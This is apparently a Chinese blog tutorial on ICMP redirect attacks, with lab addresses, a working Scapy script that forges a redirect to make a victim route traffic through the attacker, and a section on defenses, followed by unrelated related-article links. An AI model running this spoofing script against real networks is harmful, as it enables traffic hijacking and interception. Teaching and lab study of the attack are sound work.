使用 Scapy 库编写 ICMP 重定向攻击脚本

一、介绍

ICMP重定向攻击(ICMP Redirect Attack)是一种网络攻击,攻击者通过发送伪造的ICMP重定向消息,诱使目标主机更新其路由表,以便将数据包发送到攻击者控制的路由器或其他不可信任的设备上。该攻击利用了ICMP协议的合法功能,但以恶意方式使用,从而劫持或中断目标主机的网络流量。

1.1 ICMP重定向消息的工作原理

ICMP(Internet Control Message Protocol,互联网控制消息协议)是一种用于传递控制消息的协议,主要用于报告网络设备之间的通信问题。ICMP重定向消息用于通知主机,数据包可以通过一个更好的路径传输,从而优化网络流量。典型的ICMP重定向消息格式如下:

  • 类型(Type):5(表示ICMP重定向消息)
  • 代码(Code)
    • 0:用于网络的重定向
    • 1:用于主机的重定向
    • 2:用于服务类型和网络的重定向
    • 3:用于服务类型和主机的重定向
  • 校验和(Checksum):用于检测错误的校验和
  • 网关IP地址(Gateway Address):建议的数据包应发送到的新路由器的IP地址
  • 数据:包含原始数据包的IP头和前8个字节,以便目标主机识别被重定向的会话

1.2 ICMP重定向攻击的步骤

  1. 捕获合法数据包:攻击者首先在网络上嗅探流量,捕获目标主机和合法路由器之间的通信。
  2. 伪造ICMP重定向消息:攻击者构造一个伪造的ICMP重定向消息,指定目标主机应将特定数据包发送到攻击者控制的设备。
  3. 发送ICMP重定向消息:攻击者将伪造的ICMP重定向消息发送到目标主机,诱使目标主机更新其路由表。
  4. 劫持或中断流量:一旦目标主机更新了其路由表,攻击者可以劫持或中断目标主机的网络流量。

二、实验环境

攻击者:192.168.134.147

受害者 A:192.168.134.148

受害者 B:192.168.134.149

三、实操演示

以下示例代码展示了如何使用Scapy构造和发送伪造的ICMP重定向消息

from scapy.all import *
from scapy.layers.inet import ICMPdef icmp_redirect_attack(target_ip, target_gateway, new_gateway):# 构造ICMP重定向消息ip = IP(src=target_gateway, dst=target_ip)icmp = ICMP(type=5, code=1, gw=new_gateway)  # code 1 表示主机重定向original_packet = IP(src=target_ip, dst="192.168.134.149") / ICMP()  # 假设目标主机要访问 192.168.134.149icmp_redirect = ip / icmp / original_packetsend(icmp_redirect)print(f"Sent ICMP redirect from {target_gateway} to {target_ip} with new gateway {new_gateway}")if __name__ == "__main__":target_ip = "192.168.134.148"  # 目标主机的IP地址target_gateway = "192.168.134.2"  # 目标主机当前的网关new_gateway = "192.168.134.147"  # 伪造的新网关(攻击者控制的设备)icmp_redirect_attack(target_ip, target_gateway, new_gateway)

受害者 A 接受到了伪造的 ICMP 包 

四、防御措施

防御ICMP重定向攻击的措施主要包括以下几点:

  1. 禁用ICMP重定向消息:在主机和路由器上禁用ICMP重定向消息,以防止接收和处理重定向消息。这可以通过配置操作系统参数来实现,例如在Linux系统上,可以将/proc/sys/net/ipv4/conf/all/accept_redirects/proc/sys/net/ipv4/conf/default/accept_redirects设置为0来禁用ICMP重定向。

  2. 配置防火墙规则:使用防火墙规则过滤和阻止ICMP重定向消息。管理员可以在防火墙上添加规则,以丢弃或拦截传入的ICMP重定向消息。

  3. 启用安全特性:启用网络设备上的安全特性,如动态ARP检查(Dynamic ARP Inspection,DAI)和IP Source Guard,以防止网络攻击。这些特性可以帮助检测和阻止恶意ARP和IP地址欺骗行为,从而提高网络的安全性。

  4. 网络设备升级和配置审查:定期升级和维护网络设备的固件或软件,并对设备的配置进行审查和调整。确保设备上运行的软件版本没有已知的安全漏洞,并且配置符合最佳安全实践。

  5. 监控和报警:使用入侵检测系统(Intrusion Detection System,IDS)和入侵防御系统(Intrusion Prevention System,IPS)来监控网络流量,并在检测到可疑的ICMP重定向消息或其他攻击行为时触发警报。及时发现并应对恶意活动可以有效地减少攻击造成的损失。

通过综合使用上述防御措施,可以有效地保护网络免受ICMP重定向攻击和其他网络攻击的影响,提高网络的安全性和稳定性 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/21967.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

springboot配置集成RedisTemplate和Redisson,使用分布式锁案例

文章要点 自定义配置属性类集成配置RedisTemplate集成配置分布式锁Redisson使用分布式锁简单实现超卖方案 1. 项目结构 2. 集成RedisTemplate和Redisson 添加依赖 依赖的版本与继承的spring-boot-starter-parent工程相对应&#xff0c;可写可不写 <!--spring data redis…

Spring boot 集成mybatis-plus

Spring boot 集成mybatis-plus 背景 Spring boot集成mybatis后&#xff0c;我们可以使用mybatis来操作数据。然后&#xff0c;我们还是需要写许多重复的代码和sql语句&#xff0c;比如增删改查。这时候&#xff0c;我们就可以使用 mybatis-plus了&#xff0c;它可以极大解放我…

沐风老师3DMAX顶点切线控制插件VertexTangants安装使用方法

3DMAX顶点切线控制插件VertexTangants安装使用方法 3DMAX顶点切线控制插件VertexTangants&#xff0c;用于轻松控制图形顶点切线的工具。 【主要功能】 -脚本具有获取选定顶点的自动检测功能&#xff0c;您可以随时使用“获取按钮”获取选定顶点。 -有一个用于激活撤消的ON按…

项目资源管理

目录 1.概述 2.六个过程 2.1. 规划资源管理 2.2. 估算活动资源 2.3. 获取资源 2.4. 建设团队 2.5. 管理团队 2.6. 控制资源 3.应用场景 3.1.十个应用场景 3.2.软件开发项目 3.2.1. 资源规划 3.2.2. 资源分配 3.2.3. 资源获取 3.2.4. 资源优化 3.2.5. 资源监控与…

如何在外网http访问内网邮件server?

不少公司选择用winmail搭建部署内部邮箱服务器&#xff0c;对于邮件管理员&#xff0c;不但需要在局域网内&#xff0c;常常需要在外网也能访问到邮箱服务管理。winmail本身系统功能可以开启http访问管理&#xff0c;但当需要在外网http访问内网邮箱服务时&#xff0c;需要用到…

vue3通过Vite实现工程化

1. vue3简介 Vue 是一款用于构建用户界面的 JavaScript 框架。它基于标准 HTML、CSS 和 JavaScript 构建&#xff0c;并提供了一套声明式的、组件化的编程模型&#xff0c;帮助你高效地开发用户界面。无论是简单还是复杂的界面&#xff0c;Vue 都可以胜任。官网为:Vue.js - 渐进…

秋招突击——算法打卡——6/3——复习{最低通行费、(状态压缩DP)小国王}——新做:{罗马数字转整数、最长公共前缀}

文章目录 复习背包模型——最低通行费题目内容实现代码 &#xff08;状态压缩DP&#xff09;小国王检查状态本身是否存在两个连续的1计算所有的合法状态已经所有合法状态之间的转移动态规划过程 新作罗马数字转整数个人实现实现代码 参考做法实现代码 最长公共前缀个人实现参考…

Docker无法stop或者rm指定容器

Docker无法stop或者rm指定容器 今日准备重启一下docker 容器部署的 Nginx 时&#xff0c;使用的命令是 docker exec -it ir-nginx nginx -s reload 结果发现无法重启报错 然后想着关闭再启动&#xff0c;结果发现 docker restart 、docker stop 、docker kill 、docker exec 都…

【科学文献计量】使用Endnote软件打开中国知网导出的文献期刊解析不正确问题解决

使用Endnote软件打开中国知网导出的文献期刊解析不正确问题解决 问题解决问题 新建一个Endnote的材料库,然后把下载好的中国知网文献数据(知网数据导出的是Endnote格式样式)导入进来。找到文件所在路径,导入的类型选择是“Endnote import”,然后点击确定,界面结果如下 …

汇编:数据定义数据填充

数组的定义 在32位汇编语言中&#xff0c;定义数组时&#xff0c;通常使用定义数据指令&#xff08;如 DB, DW, DD,DQ &#xff09;和标签来指定数组的名称和内容。DB定义字节数组&#xff08;每个元素占1字节&#xff09;、DW定义字数组&#xff08;每个元素占2字节&#xff…

CAD 文件(DXF / DWG)转换为(DXF / PDF / PNG / SVG)

方法一Github 这个是ezdxf出品的&#xff0c;可以使用命令行的方式进行转换 ezdxf draw -o file.<png|svg|pdf> <file.dxf>也可以自己改动代码 examples/addons/drawing/pdf_export.py 但是直接运行会有误&#xff0c;以下是我改动后的代码&#xff1a; from ez…

#13前端后花园周刊-10个现代 Node.js 运行时新特性、Nextjs15、Astro4.9、CSS压缩

⚡️行业动态 JavaScript 的创建者 Brendan Eich 在 Twitter/X 上出现&#xff0c;反驳了 JS 是“最邋遢的”的说法&#xff0c;称其只有 50% 。 &#x1f4c6;发布 Next.js 15 RC 流行的 React 元框架已经准备好迎接一个主要的新版本&#xff0c;它有一个 RC&#xff0c;让…

VS2015 +Qt 新建单元测试工程报错error LNK2019,error LNK2001: 无法解析的外部符号 WinMain

项目场景&#xff1a; 使用Qt5.9.9和vs2015进行单元测试工程的创建 问题描述 创建完成后&#xff0c;编译项目&#xff0c;报错&#xff1a; error LNK2019&#xff0c;error LNK2001: 无法解析的外部符号 WinMain 原因分析&#xff1a; 原因是笔者创建工程的时候&#xf…

python如何base64编码与解码操作???

前言 之前的文章有提到Base64编码的实现原理&#xff0c;你一定非常想尝试一下&#xff0c;对吧&#xff1f;对&#xff0c;你非常想尝试一下&#xff08;不接受反驳&#xff0c;你想你想你很想&#xff09;。既然你这么想尝试&#xff0c;那今天来看一下在python中如何使用Ba…

贝锐蒲公英异地组网:降低建筑工地远程视频监控成本、简化运维

中联建设集团股份有限公司是一家建筑行业的施工单位&#xff0c;专注于建筑施工&#xff0c;业务涉及市政公用工程施工总承包、水利水电工程施工总承包、公路工程施工总承包、城市园林绿化专业承包等&#xff0c;在全国各地开展有多个建筑项目&#xff0c;并且项目时间周期可能…

Camx架构-Camera kernel Driver debugging

目录 V4L2 framework camera drivers CRM 功能性 CRM log analysis 使能CRM log: camera启动期间列举子设备: userspace 连接或者取消已获得的device handles(UMD 等效于CSLLink/CSLUnlink) userspace open request (UMD等效于CSLOpenRequest) 在SOF期间,reque…

dataframe元组和字典操作

这是一个测试文件&#xff0c;今天发现一些有意思的语法&#xff0c; 首先字典是可以加入元组的 AA {"a":2,"b":23,"c":(1,2,3)} print(AA)结果如下 example1 import pandas as pd data pd.DataFrame(data {"a":(-1,-2,-3),&quo…

聚观早报 | 东风奕派eπ008将上市;苹果Vision Pro发布会

聚观早报每日整理最值得关注的行业重点事件&#xff0c;帮助大家及时了解最新行业动态&#xff0c;每日读报&#xff0c;就读聚观365资讯简报。 整理丨Cutie 6月3日消息 东风奕派eπ008将上市 苹果Vision Pro发布会 特斯拉Model 3高性能版开售 小米14推送全新澎湃OS系统 …

HCIP-Datacom-ARST自选题库__BGP/MPLS IP VPN多选【11道题】

1.在BGP/MPLS IP VPN中&#xff0c;PE上分配私网标签的方式有以下哪些顶? 基于平台的MPLS标签分配 基于VPN实例的MPLS标签分配 基于路由的MPLS标签分配 基于接口的MPLS标签分配 2.以下关于BGP/MPLS IP VPN的描述&#xff0c;正确的有哪些项? 在BGP/MPLSIP VPN场景中&am…

HCL模拟器下做M-LAG测试(以及和华为配置对比)-二层架构

1.简单二层架构 1.1 拓扑图 1.2 配置 1.2.1 Leaf1配置 system-mac必须配置&#xff0c;否则会有一个node处于unknown状态&#xff0c;即使配置主节点的mac&#xff0c;主节点也需要配置system-mac为自己的mac ## M-LAG配置[Leaf1] m-lag system-mac 0001-0001-0001 # 手动设…